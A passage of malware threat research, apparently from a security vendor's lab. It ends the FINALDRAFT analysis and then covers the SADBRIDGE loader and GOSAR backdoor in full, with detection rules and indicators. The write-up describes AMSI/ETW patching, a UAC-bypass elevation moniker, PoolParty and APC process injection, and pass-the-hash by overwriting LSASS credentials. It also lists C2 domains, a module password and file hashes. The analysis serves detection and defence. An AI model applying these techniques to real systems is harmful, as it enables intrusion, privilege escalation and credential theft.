It first opens the source file as a drive handle. To retrieve the cluster size of the volume where the file resides, it uses GetDiskFreeSpaceW to retrieve information about the number of sectors per cluster and bytes per sector. DeviceIoControl is then called with FSCTL_GET_RETRIEVAL_POINTERS to retrieve details of extents: locations on disk storing the data of the specified file and how much data is stored there in terms of cluster size. 

For each extent, it uses SetFilePointer to move the source file pointer to the corresponding offset in the volume; reading and writing one cluster of data at a time from the source file to the destination file.

If the file does not have associated cluster mappings, it is a resident file, and data is stored in the MFT itself. It uses the file's MFT index to get its raw MFT record. The record is then parsed to locate the $DATA attribute (type identifier  = 128). Data is then extracted from this attribute and written to the destination file using WriteFile.

Injected Modules
Our team observed several additional modules loaded through the DoProcessInjectionSendOutputEx command handler performing process injection and writing the output back through a named pipe. This shellcode injected by FINALDRAFT leverages the well-known sRDI project, enabling the loading of a fully-fledged PE DLL into memory within the same process, resolving its imports and calling its export entrypoint.
Network enumeration (ipconfig.x64.dll)
This module creates a named pipe (\\.\Pipe\E340C955-15B6-4ec9-9522-1F526E6FBBF1) waiting for FINALDRAFT to connect to it.  Perhaps to prevent analysis/sandboxing, the threat actor used a password (Aslire597) as an argument, if the password is incorrect, the module will not run.  

As its name suggests, this module is a custom implementation of the ipconfig command retrieving networking information using Windows API’s (GetAdaptersAddresses, GetAdaptersInfo, GetNetworkParams) and reading the Windows registry keypath (SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces). After the data is retrieved, it is sent back to FINALDRAFT through the named pipe.

PowerShell execution (Psloader.x64.dll)
This module allows the operator to execute PowerShell commands without invoking the powershell.exe binary. The code used is taken from PowerPick, a well-known open source offensive security tool.
To evade detection, the module first hooks the EtwEventWrite, ReportEventW, and AmsiScanBuffer APIs, forcing them to always return 0, which disables ETW logging and bypasses anti-malware scans.

Next, the DLL loads a .NET payload (PowerPick) stored in its .data section using the CLR Hosting technique.

The module creates a named pipe (\\.\Pipe\BD5AE956-0CF5-44b5-8061-208F5D0DBBB2) which is used for command forwarding and output retrieval. The main thread is designated as the receiver, while a secondary thread is created to write data to the pipe. Finally, the managed PowerPick binary is loaded and executed by the module.

Pass-the-Hash toolkit (pnt.x64.dll)
This module is a custom Pass-the-Hash (PTH) toolkit used to start new processes with stolen NTLM hashes. This PTH implementation is largely inspired by the one used by Mimikatz, enabling lateral movement.

A password (Aslire597), domain, and username with the NTLM hash, along with the file path of the program to be elevated, are required by this module. In our sample, this command line is loaded by the sRDI shellcode. Below is an example of the command line.
program.exe  \: 
Like the other module, it creates a named pipe, ”\\.\Pipe\EAA0BF8D-CA6C-45eb-9751-6269C70813C9”, and awaits incoming connections from FINALDRAFT. This named pipe serves as a logging channel.

After establishing the pipe connection, the malware creates a target process in a suspended state using CreateProcessWithLogonW, identifies key structures like the LogonSessionList and LogonSessionListCount within the Local Security Authority Subsystem Service (LSASS) process, targeting the logon session specified by the provided argument. 
Once the correct session is matched, the current credential structure inside LSASS is overwritten with the supplied NTLM hash instead of the current user's NTLM hash, and finally, the process thread is resumed. This technique is well explained in the blog post "Inside the Mimikatz Pass-the-Hash Command (Part 2)" by Praetorian. The result is then sent to the named pipe.

FINALDRAFT ELF variant
During this investigation, we discovered an ELF variant of FINALDRAFT. This version supports more transport protocols than the PE version, but has fewer features, suggesting it might be under development.
Additional transport channels
The ELF variant of FINALDRAFT supports seven additional protocols for C2 transport channels:
| C2 communication protocols                                      |
| :-------------------------------------------------------------- |
| HTTP/HTTPS                                                      |
| Reverse UDP                                                     |
| ICMP                                                            |
| Bind TCP                                                        |
| Reverse TCP                                                     |
| DNS                                                             |
| Outlook via REST API (could be communicating with an API proxy) |
| Outlook via Graph API                                           |
FINALDRAFT ELF variant C2 communication options
From the ELF samples discovered, we have identified implants configured to use the HTTP and Outlook via Graph API channels.
While the code structure is similar to the most contemporary PE sample, at the time of this publication, some parts of the implant's functionality were modified to conform to the Linux environment. For example, new Microsoft OAuth refresh tokens requested are written to a file on disk, either /var/log/installlog.log. or /mnt/hgfsdisk.log. if it fails to write to the prior file.
Below is a snippet of the configuration which uses the HTTP channel. We can see two C2 servers are used in place of a Microsoft refresh token, the port number 0x1bb (443) at offset 0xc8, and flag for using HTTPS at offset 0xfc.

The domains are intentionally designed to typosquat well-known vendors, such as "VMSphere" (VMware vSphere). However, it's unclear which vendor "Hobiter" is attempting to impersonate in this instance.
| C2                  |
| :------------------ |
| support.vmphere.com |
| update.hobiter.com  |
Domain list
Commands

All of the commands overlap with its Windows counterpart, but offer fewer options. There are two C2 commands dedicated to collecting information about the victim's machine. Together, these commands gather the following details:

Hostname  
Current logged-in user  
Intranet IP address  
External IP address  
Gateway IP address  
System boot time  
Operating system name and version  
Kernel version  
System architecture  
Machine GUID  
List of active network connections  
List of running processes  
Name of current process

Command Execution
While there are no process injection capabilities, the implant can execute shell commands directly. It utilizes popen for command execution, capturing both standard output and errors, and sending the results back to the C2 infrastructure.

Self Deletion
To dynamically resolve the path of the currently running executable, its symlink pointing to the executable image is passed to sys_readlink. sys_unlink is then called to remove the executable file from the filesystem.

Older FINALDRAFT PE sample
During our investigation, we identified an older version of FINALDRAFT. This version supports half as many commands but includes an additional transport protocol alongside the MS Graph API/Outlook transport channel.
The name of the binary is Session.x64.dll, and its entrypoint export is called GoogleProxy:

HTTP transport channel
This older version of FINALDRAFT selects between the Outlook or HTTP transport channel based on the configuration.

In this sample, the configuration contains a list of hosts instead of the refresh token found in the main sample. These same domains were used by PATHLOADER, the domain (checkponit[.]com) was registered on 2022-08-26T09:43:16Z and domain (fortineat[.]com) was registred on 2023-11-08T09:47:47Z.

The domains purposely typosquat real known vendors, CheckPoint and Fortinet, in this case.
| C2                        |
| :------------------------ |
| poster.checkponit[.]com |
| support.fortineat[.]com |
Domain list
Shell command
An additional command exists in this sample that is not present in later versions. This command, with ID 1, executes a shell command.

The execution is carried out by creating a cmd.exe process with the "/c" parameter, followed by appending the actual command to the parameter.

Detection
Elastic Defend detects the process injection mechanism through two rules. The first rule detects the WriteProcessMemory API call targeting another process, which is a common behavior observed in process injection techniques.

The second rule detects the creation of a remote thread to execute the shellcode.

We also detect the loading of the PowerShell engine by the Psloader.x64.dll module, which is injected into the known target mspaint.exe.

Malware and MITRE ATT\&CK
Elastic uses the MITRE ATT\&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.
Tactics

Command and Control  
Defense Evasion  
Discovery  
Execution  
Exfiltration  
Lateral Movement

Techniques
Techniques represent how an adversary achieves a tactical goal by performing an action.

Web Service: One-Way Communication  
Encrypted Channel: Symmetric Cryptography  
Hide Artifacts: Hidden Window  
Masquerading: Match Legitimate Name or Location  
Masquerading: Rename System Utilities  
Process Injection: Portable Executable Injection  
Reflective Code Loading  
Use Alternate Authentication Material: Pass the Hash  
Network Service Discovery  
Process Discovery  
Query Registry  
Exfiltration Over Web Service

Mitigations
Detection

Suspicious Memory Write to a Remote Process  
Unusual PowerShell Engine ImageLoad  
AMSI Bypass via Unbacked Memory  
AMSI or WLDP Bypass via Memory Patching  
Suspicious Execution via Windows Service  
Execution via Windows Command Line Debugging Utility  
Suspicious Parent-Child Relationship

YARA
Elastic Security has created the following YARA rules related to this post:

Windows.Trojan.PathLoader  
Windows.Trojan.FinalDraft  
Linux.Trojan.FinalDraft  
Multi.Trojan.FinalDraft

Observations
The following observables were discussed in this research:
| Observable                                                         | Type   | Reference                    | Date                                                                     |
| :----------------------------------------------------------------- | :----- | :--------------------------- | :----------------------------------------------------------------------- |
| 9a11d6fcf76583f7f70ff55297fb550fed774b61f35ee2edd95cf6f959853bcf | SHA256 | PATHLOADER                   | VT first seen: 2023-05-09 09:44:45 UTC                                   |
| 39e85de1b1121dc38a33eca97c41dbd9210124162c6d669d28480c833e059530 | SHA256 | FINALDRAFT initial sample    | Telemetry first seen: 2024-11-28 20:49:18.646                            |
| 83406905710e52f6af35b4b3c27549a12c28a628c492429d3a411fdb2d28cc8c | SHA256 | FINALDRAFT ELF variant       | VT first seen: 2024-10-05 07:15:00 UTC                                   |
| poster.checkponit[.]com                                          | domain | PATHLOADER/FINALDRAFT domain | Creation date: 2022-08-26T09:43:16Z  Valid until: 2025-08-26T07:00:00Z   |
| support.fortineat[.]com                                          | domain | PATHLOADER/FINALDRAFT domain | Creation date: 2023-11-08T09:47:47Z Valid until: 2024-11-08T09:47:47.00Z |
| support.vmphere[.]com                                            | domain | FINALDRAFT domain            | Creation date: 2023-09-12T12:35:57Z Valid until: 2025-09-12T12:35:57Z    |
| update.hobiter[.]com                                             | domain | FINALDRAFT domain            | Creation date: 2023-09-12T12:35:58Z Valid until: 2025-09-12T12:35:58Z    |


Under the SADBRIDGE with GOSAR: QUASAR Gets a Golang Rewrite
Jia Yu Chan,Salim Bitam,Daniel Stepanic,Seth Goodwin — Fri, 13 Dec 2024 00:00:00 GMT
Introduction
Elastic Security Labs recently observed a new intrusion set targeting Chinese-speaking regions, tracked as REF3864. These organized campaigns target victims by masquerading as legitimate software such as web browsers or social media messaging services. The threat group behind these campaigns shows a moderate degree of versatility in delivering malware across multiple platforms such as Linux, Windows, and Android. During this investigation, our team discovered a unique Windows infection chain with a custom loader we call SADBRIDGE. This loader deploys a Golang-based reimplementation of QUASAR, which we refer to as GOSAR. This is our team’s first time observing a rewrite of QUASAR in the Golang programming language.
Key takeaways

Ongoing campaigns targeting Chinese language speakers with malicious installers masquerading as legitimate software like Telegram and the Opera web browser  
Infection chains employ injection and DLL side-loading using a custom loader (SADBRIDGE)   
SADBRIDGE deploys a newly-discovered variant of the QUASAR backdoor written in Golang (GOSAR)  
GOSAR is a multi-functional backdoor under active development with incomplete features and iterations of improved features observed over time  
Elastic Security provides comprehensive prevention and detection capabilities against this attack chain

REF3864 Campaign Overview
In November, the Elastic Security Labs team observed a unique infection chain when detonating several different samples uploaded to VirusTotal. These different samples were hosted via landing pages masquerading as legitimate software such as Telegram or the Opera GX browser.

During this investigation, we uncovered multiple infection chains involving similar techniques:

Trojanized MSI installers with low detections  
Masquerading using legitimate software bundled with malicious DLLs   
Custom SADBRIDGE loader deployed  
Final stage GOSAR loaded

We believe these campaigns have flown under the radar due to multiple levels of abstraction. Typically, the first phase involves opening an archive file (ZIP) that includes an MSI installer. Legitimate software like the Windows x64dbg.exe debugging application is used behind-the-scenes to load a malicious, patched DLL (x64bridge.dll). This DLL kicks off a new legitimate program (MonitoringHost.exe) where it side-loads another malicious DLL (HealthServiceRuntime.dll), ultimately performing injection and loading the GOSAR implant in memory via injection.
Malware researchers extracted SADBRIDGE configurations that reveal adversary-designated campaign dates, and indicate operations with similar TTP’s have been ongoing since at least December 2023. The command-and-control (C2) infrastructure for GOSAR often masquerades under trusted services or software to appear benign and conform to victim expectations for software installers. Throughout the execution chain, there is a focus centered around enumerating Chinese AV products such as 360tray.exe, along with firewall rule names and descriptions in Chinese. Due to these customizations we believe this threat is geared towards targeting Chinese language speakers. Additionally, extensive usage of Chinese language logging indicates the attackers are also Chinese language speakers.
QUASAR has previously been used in state-sponsored espionage, non-state hacktivism, and criminal financially motivated attacks since 2017 (Qualys, Evolution of Quasar RAT), including by China-linked APT10. A rewrite in Golang might capitalize on institutional knowledge gained over this period, allowing for additional capabilities without extensive retraining of previously effective TTPs.
GOSAR extends QUASAR with additional information-gathering capabilities, multi-OS support, and improved evasion against anti-virus products and malware classifiers. However, the generic lure websites, and lack of additional targeting information, or actions on the objective, leave us with insufficient evidence to identify attacker motivation(s).

SADBRIDGE Introduction
The SADBRIDGE malware loader is packaged as an MSI executable for delivery and uses DLL side-loading with various injection techniques to execute malicious payloads. SADBRIDGE abuses legitimate applications such as x64dbg.exe and MonitoringHost.exe to load malicious DLLs like x64bridge.dll and HealthServiceRuntime.dll, which leads to subsequent stages and shellcodes. 
Persistence is achieved through service creation and registry modifications. Privilege escalation to Administrator occurs silently using a UAC bypass technique that abuses the ICMLuaUtil COM interface. In addition, SADBRIDGE incorporates a privilege escalation bypass through Windows Task Scheduler to execute its main payload with SYSTEM level privileges.
The SADBRIDGE configuration is encrypted using a simple subtraction of 0x1 on each byte of the configuration string. The encrypted stages are all appended with a .log extension, and decrypted during runtime using XOR and the LZNT1 decompression algorithm.
SADBRIDGE employs PoolParty, APC queues, and token manipulation techniques for process injection. To avoid sandbox analysis, it uses long Sleep API calls. Another defense evasion technique involves API patching to disable Windows security mechanisms such as the Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW). 
The following deep dive is structured to explore the execution chain, providing a step-by-step walkthrough of the capabilities and functionalities of significant files and stages, based on the configuration of the analyzed sample. The analysis aims to highlight the interaction between each component and their roles in reaching the final payload.
SADBRIDGE Code Analysis
MSI Analysis
The initial files are packaged in an MSI using Advanced Installer, the main files of interest are x64dbg.exe and x64bridge.dll.

By using MSI tooling (lessmsi), we can see the LaunchApp entrypoint in aicustact.dll is configured to execute the file path specified in the AI_APP_FILE property. 

If we navigate to this AI_APP_FILE property, we can see the file tied to this configuration is x64dbg.exe. This represents the file that will be executed after the installation is completed, the legitimate NetFxRepairTool.exe is never executed.

x64bridge.dll Side-loading
When x64dbg.exe gets executed, it calls the BridgeInit export from x64bridge.dll. BridgeInit is a wrapper for the BridgeStart function.

Similar to techniques observed with BLISTER, SADBRIDGE patches the export of a legitimate DLL.

During the malware initialization routine, SADBRIDGE begins with generating a hash using the hostname and a magic seed 0x4E67C6A7. This hash is used as a directory name for storing the encrypted configuration file. The encrypted configuration is written to C:\Users\Public\Documents\\edbtmp.log. This file contains the attributes FILE_ATTRIBUTE_SYSTEM, FILE_ATTRIBUTE_READONLY, FILE_ATTRIBUTE_HIDDEN  to hide itself from an ordinary directory listing. 

Decrypting the configuration is straightforward, the encrypted chunks are separated with null bytes. For each byte within the encrypted chunks, we can increment them by 0x1. 
The configuration consists of: 

Possible campaign date  
Strings to be used for creating services  
New name for MonitoringHost.exe (DevQueryBroker.exe)  
DLL name for the DLL to be sideloaded by MonitoringHost.exe (HealthServiceRuntime.dll)  
Absolute paths for additional stages (.log files)  
The primary injection target for hosting GOSAR (svchost.exe)


The DevQueryBroker directory (C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\) contains all of the encrypted stages (.log files) that are decrypted at runtime. The file (DevQueryBroker.exe) is a renamed copy of Microsoft legitimate application (MonitoringHost.exe).

Finally, it creates a process to run DevQueryBroker.exe which side-loads the malicious HealthServiceRuntime.dll in the same folder.
HealthServiceRuntime.dll
This module drops both an encrypted and partially decrypted shellcode in the User’s %TEMP% directory. The file name for the shellcode follows the format: log.tmp. Each byte of the partially decrypted shellcode is then decremented by 0x10 to fully decrypt. The shellcode is executed in a new thread of the same process.

The malware leverages API hashing using the same algorithm in research published by SonicWall, the hashing algorithm is listed in the Appendix section. The shellcode decrypts DevQueryBroker.log into a PE file then performs a simple XOR operation with a single byte (0x42) in the first third of the file where then it decompresses the result using the LZNT1 algorithm. 

The shellcode then unmaps any existing mappings at the PE file's preferred base address using NtUnmapViewOfSection, ensuring that a call to VirtualAlloc will allocate memory starting at the preferred base address. Finally, it maps the decrypted PE file to this allocated memory and transfers execution to its entry point. All shellcodes identified and executed by SADBRIDGE share an identical code structure, differing only in the specific .log files they reference for decryption and execution.
DevQueryBroker.log
The malware dynamically loads amsi.dll to disable critical security mechanisms in Windows. It patches AmsiScanBuffer in amsi.dll by inserting instructions to modify the return value to 0x80070057, the standardized Microsoft error code E_INVALIDARG indicating invalid arguments, and returning prematurely, to effectively bypass the scanning logic. Similarly, it patches AmsiOpenSession to always return the same error code E_INVALIDARG. Additionally, it patches EtwEventWrite in ntdll.dll, replacing the first instruction with a ret instruction to disable Event Tracing for Windows (ETW), suppressing any logging of malicious activity.

Following the patching, an encrypted shellcode is written to temp.ini at path (C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini).

The malware checks the current process token’s group membership to determine its privilege level. It verifies if the process belongs to the LocalSystem account by initializing a SID with the SECURITY_LOCAL_SYSTEM_RID and calling CheckTokenMembership. If not, it attempts to check for membership in the Administrators group by creating a SID using SECURITY_BUILTIN_DOMAIN_RID and DOMAIN_ALIAS_RID_ADMINS and performing a similar token membership check.
If the current process does not have LocalSystem or Administrator privileges, privileges are first elevated to Administrator through a UAC bypass mechanism by leveraging the ICMLuaUtil COM interface. It crafts a moniker string "Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" to create an instance of the CMSTPLUA object with Administrator privileges. Once the object is created and the ICMLuaUtil interface is obtained, the malware uses the exposed ShellExec method of the interface to run DevQueryBroker.exe.

If a task or a service is not created to run DevQueryBroker.exe routinely, the malware checks if the Anti-Virus process 360tray.exe is running. If it is not running, a service is created for privilege escalation to SYSTEM, with the following properties:

Service name: DevQueryBrokerService

Binary path name: “C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\DevQueryBroker.exe -svc”.  
Display name: DevQuery Background Discovery Broker Service  
Description: Enables apps to discover devices with a background task.  
Start type: Automatically at system boot  
Privileges: LocalSystem

If 360tray.exe is detected running, the malware writes an encrypted PE file to DevQueryBrokerService.log, then maps a next-stage PE file (Stage 1) into the current process memory, transferring execution to it. 
Once DevQueryBroker.exe is re-triggered with SYSTEM level privileges and reaches this part of the chain, the malware checks the Windows version. For systems running Vista or later (excluding Windows 7), it maps another next-stage (Stage 2) into memory and transfers execution there. 
On Windows 7, however, it executes a shellcode, which decrypts and runs the DevQueryBrokerPre.log file.
Stage 1 Injection (explorer.exe)
SADBRIDGE utilizes PoolParty Variant 7 to inject shellcode into explorer.exe by targeting its thread pool’s I/O completion queue. It first duplicates a handle to the target process's I/O completion queue. It then allocates memory within explorer.exe to store the shellcode. Additional memory is allocated to store a crafted TP_DIRECT structure, which includes the base address of the shellcode as the callback address. Finally, it calls ZwSetIoCompletion, passing a pointer to the TP_DIRECT structure to queue a packet to the I/O completion queue of the target process's worker factory (worker threads manager), effectively triggering the execution of the injected shellcode.

This shellcode decrypts the DevQueryBrokerService.log file, unmaps any memory regions occupying its preferred base address, maps the PE file to that address, and then executes its entry point. This behavior mirrors the previously observed shellcode. 
Stage 2 Injection (spoolsv.exe/lsass.exe)
For Stage 2, SADBRIDGE injects shellcode into spoolsv.exe, or lsass.exe if spoolsv.exe is unavailable, using the same injection technique as in Stage 1. The shellcode exhibits similar behavior to the earlier stages: it decrypts DevQueryBrokerPre.log into a PE file, unmaps any regions occupying its preferred base address, maps the PE file, and then transfers execution to its entry point.
DevQueryBrokerService.log
The shellcode decrypted from DevQueryBrokerService.log as mentioned in the previous section leverages a privilege escalation technique using the Windows Task Scheduler. SADBRIDGE integrates a public UAC bypass technique using the IElevatedFactorySever COM object to indirectly create the scheduled task. This task is configured to run DevQueryBroker.exe on a daily basis with SYSTEM level privileges using the task name DevQueryBrokerService.
  
In order to cover its tracks, the malware spoofs the image path and command-line by modifying the Process Environment Block (PEB) directly, likely in an attempt to disguise the COM service as coming from explorer.exe. 

DevQueryBrokerPre.log
SADBRIDGE creates a service named DevQueryBrokerServiceSvc under the registry subkey SYSTEM\CurrentControlSet\Services\DevQueryBrokerServiceSvc with the following attributes:

Description: Enables apps to discover devices with a background task.  
DisplayName: DevQuery Background Discovery Broker Service  
ErrorControl: 1  
ImagePath: %systemRoot%\system32\svchost.exe -k netsvcs  
ObjectName: LocalSystem  
Start: 2 (auto-start)  
Type: 16.  
Failure Actions:  
Resets failure count every 24 hours.  
Executes three restart attempts: a 20ms delay for the first, and a 1-minute delay for the second and third.

The service parameters specify the ServiceDll located at C:\Program Files (x86)\Common Files\Microsoft Shared\Stationery\\DevQueryBrokerService.dll. If the DLL file does not exist, it will be dropped to disk right after.
DevQueryBrokerService.dll has a similar code structure as HealthServiceRuntime.dll, which is seen in the earlier stages of the execution chain. It is responsible for decrypting DevQueryBroker.log and running it. The ServiceDll will be loaded and executed by svchost.exe when the service starts.

Additionally, it modifies the SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs key to include an entry for DevQueryBrokerServiceSvc to integrate the newly created service into the group of services managed by the netsvcs service host group.
  
SADBRIDGE then deletes the scheduled task and service created previously by removing the registry subkeys SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\DevQueryBrokerService and SYSTEM\\CurrentControlSet\\Services\\DevQueryBrokerService. 
Finally, it removes the files DevQueryBroker.exe and HealthServiceRuntime.dll in the C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker folder, as the new persistence mechanism is in place.
GOSAR Injection
In the latter half of the code, SADBRIDGE enumerates all active sessions on the local machine using the WTSEnumerateSessionsA API. 
If sessions are found, it iterates through each session:

For each session, it attempts to retrieve the username (WTSUserName) using WTSQuerySessionInformationA. If the query fails, it moves to the next session.  
If WTSUserName is not empty, the code targets svchost.exe, passing its path, the session ID, and the content of the loader configuration to a subroutine that injects the final stage.  
If WTSUserName is empty but the session's WinStationName is "Services" (indicating a service session), it targets dllhost.exe instead, passing the same parameters to the final stage injection subroutine.

If no sessions are found, it enters an infinite loop to repeatedly enumerate sessions and invoke the subroutine for injecting the final stage, while performing checks to avoid redundant injections.
Logged-in sessions target svchost.exe, while service sessions or sessions without a logged-in user target dllhost.exe.

If a session ID is available, the code attempts to duplicate the user token for that session and elevate the duplicated token's integrity level to S-1-16-12288 (System integrity). It then uses the elevated token to create a child process (svchost.exe or dllhost.exe) via CreateProcessAsUserA.

If token manipulation fails or no session ID is available (system processes can have a session ID of 0), it falls back to creating a process without a token using CreateProcessA.
The encrypted shellcode C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini is decrypted using the same XOR and LZNT1 decompression technique seen previously to decrypt .log files, and APC injection is used to queue the shellcode for execution in the newly created process’s thread.  
  
Finally, the injected shellcode decrypts DevQueryBrokerCore.log to GOSAR and runs it in the newly created process’s memory.

GOSAR Introduction
GOSAR is a multi-functional remote access trojan found targeting Windows and Linux systems. This backdoor includes capabilities such as retrieving system information, taking screenshots, executing commands, keylogging, and much more. The GOSAR backdoor retains much of QUASAR's core functionality and behavior, while incorporating several modifications that differentiate it from the original version. 
By rewriting malware in modern languages like Go, this can offer reduced detection rates as many antivirus solutions and malware classifiers struggle to identify malicious strings/characteristics under these new programming constructs. Below is a good example of an unpacked GOSAR receiving only 5 detections upon upload. 

Notably, this variant supports multiple platforms, including ELF binaries for Linux systems and traditional PE files for Windows. This cross-platform capability aligns with the adaptability of Go, making it more versatile than the original .NET-based QUASAR. Within the following section, we will focus on highlighting GOSAR’s code structure, new features and additions compared to the open-source version (QUASAR).
GOSAR Code Analysis Overview
Code structure of GOSAR
As the binary retained all its symbols, we were able to reconstruct the source code structure, which was extracted from a sample of version 0.12.01


vibrant/config: Contains the configuration files for the malware.  
vibrant/proto: Houses all the Google Protocol Buffers (proto) declarations.  
vibrant/network: Includes functions related to networking, such as the main connection loop, proxy handling and also thread to configure the firewall and setting up a listener  
vibrant/msgs/resolvers: Defines the commands handled by the malware. These commands are assigned to an object within the vibrant_msgs_init* functions.  
vibrant/msgs/services: Introduces new functionality, such as running services like keyloggers, clipboard logger, these services are started in the vibrant_network._ptr_Connection.Start function.  
vibrant/logs: Responsible for logging the malware’s execution. The logs are encrypted with an AES key stored in the configuration. The malware decrypts the logs in chunks using AES.  
vibrant/pkg/helpers: Contains helper functions used across various malware commands and services.  
vibrant/pkg/screenshot: Handles the screenshot capture functionality on the infected system.  
vibrant/pkg/utils: Includes utility functions, such as generating random values.  
vibrant/pkg/native: Provides functions for calling Windows API (WINAPI) functions.

New Additions to GOSAR
Communication and information gathering
This new variant continues to use the same communication method as the original, based on TCP TLS. Upon connection, it first sends system information to the C2, with 4 new fields added:

IPAddress  
AntiVirus  
ClipboardSettings  
Wallets

The list of AntiViruses and digital wallets are initialized in the function vibrant_pkg_helpers_init and can be found at the bottom of this document.
Services
The malware handles 3 services that are started during the initial connection of the client to the C2:

vibrant_services_KeyLogger  
vibrant_services_ClipboardLogger  
vibrant_services_TickWriteFile  


KeyLogger
The keylogging functionality in GOSAR is implemented in the vibrant_services_KeyLogger function. This feature relies on Windows APIs to intercept and record keystrokes on the infected system by setting a global Windows hook with SetWindowsHookEx with the parameter WH_KEYBOARD_LL to monitor low-level keyboard events. The hook function is named vibrant_services_KeyLogger_func1.

ClipboardLogger
The clipboard logging functionality is straightforward and relies on Windows APIs. It first checks for the availability of clipboard data using IsClipboardFormatAvailable then retrieves it using GetClipboardData API.

TickWriteFile
Both ClipboardLogger and KeyLogger services collect data that is written by the TickWriteFile periodically to directory (C:\ProgramData\Microsoft\Windows\Start Menu\Programs\diagnostics) under a file of the current date, example 2024-11-27.

It can be decrypted by first subtracting the value 0x1f then xoring it with the value 0x18 as shown in the CyberChef recipe.

Networking setup
After initializing its services, the malware spawns three threads dedicated to its networking setup.

vibrant_network_ConfigFirewallRule  
vibrant_network_ConfigHosts  
vibrant_network_ConfigAutoListener

Threads handling networking setup
ConfigFirewallRule
The malware creates an inbound firewall rule for the ports range 51756-51776 under a Chinese name that is translated to Distributed Transaction Coordinator (LAN) it allows all programs and IP addresses inbound the description is set to :Inbound rules for the core transaction manager of the Distributed Transaction Coordinator service are managed remotely through RPC/TCP.

ConfigHosts
This function adds an entry to c:\Windows\System32\Drivers\etc\hosts the following 127.0.0.1 micrornetworks.com. The reason for adding this entry is unclear, but it is likely due to missing functionalities or incomplete features in the malware's current development stage.
ConfigAutoListener
This functionality of the malware runs an HTTP server listener on the first available port within the range 51756-51776, which was previously allowed by a firewall rule. Interestingly, the server does not handle any commands, which proves that the malware is still under development. The current version we have only processes a GET request to the URI /security.js, responding with the string callback();, any other request returns a 404 error code. This minimal response could indicate that the server is a placeholder or part of an early development stage, with the potential for more complex functionalities to be added later

Logs
The malware saves its runtime logs in the directory: %APPDATA%\Roaming\Microsoft\Logs under the filename formatted as: windows-update-log-.log.

Each log entry is encrypted with HMAC-AES algorithm; the key is hardcoded in the vibrant_config function, the following is an example:

The attacker can remotely retrieve the malware's runtime logs by issuing the command ResolveGetRunLogs.
Plugins
The malware has the capability to execute plugins, which are PE files downloaded from the C2 and stored on disk encrypted with an XOR algorithm. These plugins are saved at the path: C:\ProgramData\policy-err.log. To execute a plugin, the command ResolveDoExecutePlugin is called, it first checks if a plugin is available.

It then loads a native DLL reflectively that is stored in base64 format in the binary named plugins.dll and executes its export function ExecPlugin.

ExecPlugin creates a suspended process of C:\Windows\System32\msiexec.exe with the arguments /package /quiet. It then queues Asynchronous Procedure Calls (APC) to the process's     main thread. When the thread is resumed, the queued shellcode is executed.

The shellcode reads the encrypted plugin stored at C:\ProgramData\policy-err.log, decrypts it using a hardcoded 1-byte XOR key, and reflectively loads and executes it.
HVNC
The malware supports hidden VNC(HVNC) through the existing socket, it exposes 5 commands

ResolveHVNCCommand  
ResolveGetHVNCScreen  
ResolveStopHVNC  
ResolveDoHVNCKeyboardEvent  
ResolveDoHVNCMouseEvent

The first command that is executed is ResolveGetHVNCScreen which will first initialise it and set up a view, it uses an embedded native DLL HiddenDesktop.dll in base64 format, the DLL is reflectively loaded into memory and executed.
The DLL is responsible for executing low level APIs to setup the HVNC, with a total of 7 exported functions:

ExcuteCommand  
DoMouseScroll  
DoMouseRightClick  
DoMouseMove  
DoMouseLeftClick  
DoKeyPress  
CaptureScreen

The first export function called is Initialise to initialise a desktop with CreateDesktopA API. This HVNC implementation handles 17 commands in total that can be found in ExcuteCommand export, as noted it does have a typo in the name, the command ID is forwarded from the malware’s command ResolveHVNCCommand that will call ExcuteCommand.
| Command ID | Description |
| :---- | :---- |
| 0x401 | The function first disables taskbar button grouping by setting the TaskbarGlomLevel registry key to 2 under Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced. Next, it ensures the taskbar is always visible and on top by using SHAppBarMessage with the ABM_SETSTATE command, setting the state to ABS_ALWAYSONTOP. |
| 0x402 | Spawns a RUN dialog box by executing the 61th export function of shell32.dll.C:\Windows\system32\rundll32.exe shell32.dll,#61 |
| 0x403 | Runs an instance of powershell.exe |
| 0x404 | Executes a PE file stored in C:\\ProgramData\\shell.log |
| 0x405 | Runs an instance of chrome.exe |
| 0x406 | Runs an instance of msedge.exe |
| 0x407 | Runs an instance of firefox.exe |
| 0x408 | Runs an instance of iexplore.exe |
| 0x409 | Runs an instance of 360se.exe |
| 0x40A | Runs an instance of 360ChromeX.exe. |
| 0x40B | Runs an instance of SogouExplorer.exe |
| 0x40C | Close current window |
| 0x40D | Minimizes the specified window |
| 0x40E | Activates the window and displays it as a maximized window |
| 0x40F | Kills the process of a window |
| 0x410 | Sets the clipboard |
| 0x411 | Clears the Clipboard |
Screenshot
The malware loads reflectively the third and last PE DLL embedded in base64 format named Capture.dll, it has 5 export functions:

CaptureFirstScreen  
CaptureNextScreen  
GetBitmapInfo  
GetBitmapInfoSize  
SetQuality

The library is first initialized by calling resolvers_ResolveGetBitmapInfo that reflectively loads and executes its DllEntryPoint which will setup the screen capture structures using common Windows APIs like CreateCompatibleDC, CreateCompatibleBitmap and CreateDIBSection. The 2 export functions CaptureFirstScreen and CaptureNextScreen are used to capture a screenshot of the victim's desktop as a JPEG image.
Observation
Interestingly, the original .NET QUASAR server can still be used to receive beaconing from GOSAR samples, as they have retained the same communication protocol. However, operational use of it would require significant modifications to support GOSAR functionalities.
It is unclear whether the authors updated or extended the open source .NET QUASAR server, or developed a completely new one. It is worth mentioning that they have retained the default listening port, 1080, consistent with the original implementation.
New functionality
The following table provides a description of all the newly added commands:
| New commands |  |
| :---- | :---- |
| ResolveDoRoboCopy | Executes RoboCopy command to copy files   |
| ResolveDoCompressFiles | Compress files in a zip format |
| ResolveDoExtractFile | Extract a zip file |
| ResolveDoCopyFiles | Copies a directory or file in the infected machine |
